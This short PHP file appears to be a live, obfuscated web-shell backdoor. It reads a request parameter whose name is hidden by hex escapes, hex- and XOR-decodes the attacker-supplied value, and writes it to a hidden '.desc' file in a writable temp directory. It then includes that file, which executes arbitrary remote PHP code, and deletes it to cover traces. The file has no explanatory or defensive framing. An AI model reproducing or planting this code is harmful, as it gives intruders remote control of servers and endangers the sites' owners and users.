<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["\x65\x6Cem"])){
	$ptr = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp"]);
	$k = hex2bin($_REQUEST["\x65\x6Cem"]);
	$flag= '';foreach(str_split($k) as $char){$flag .= chr(ord($char) ^ 79);}
	foreach ($ptr as $key => $element) {
    		if (is_dir($element) && is_writable($element)) {
    $binding = implode("/", [$element, ".desc"]);
    $file = fopen($binding, 'w');
if ($file) {
	fwrite($file, $flag);
	fclose($file);
	include $binding;
	@unlink($binding);
	exit;
}
}
}
}